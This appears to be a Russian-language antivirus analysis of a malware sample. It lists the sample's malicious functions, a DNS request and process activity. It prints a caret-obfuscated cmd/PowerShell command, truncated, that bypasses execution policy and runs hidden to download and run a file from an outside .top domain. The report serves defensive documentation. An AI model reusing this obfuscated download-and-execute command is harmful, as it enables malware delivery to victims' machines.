Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://sonnystafgy.top/search.php как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "P^OW^E^R^S^h^eLL.exE ^-eXE^CUTi^o^NpoL^iCY^ b^y^paS^S^ -NO^p^rO^f^I^le -^WIndoWsT^yL^E^ H^I^Dde^n ^(NEw-OB^jE^C^t^ syStEm.nE^T^.WEB^Cl^IENT^)^.^D^owNL^OADF^iLe('http://sonnys...
Сетевая активность
UDP
- DNS ASK so###stafgy.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "P^OW^E^R^S^h^eLL.exE ^-eXE^CUTi^o^NpoL^iCY^ b^y^paS^S^ -NO^p^rO^f^I^le -^WIndoWsT^yL^E^ H^I^Dde^n ^(NEw-OB^jE^C^t^ syStEm.nE^T^.WEB^Cl^IENT^)^.^D^owNL^OADF^iLe('http://sonnys...' (со скрытым окном)
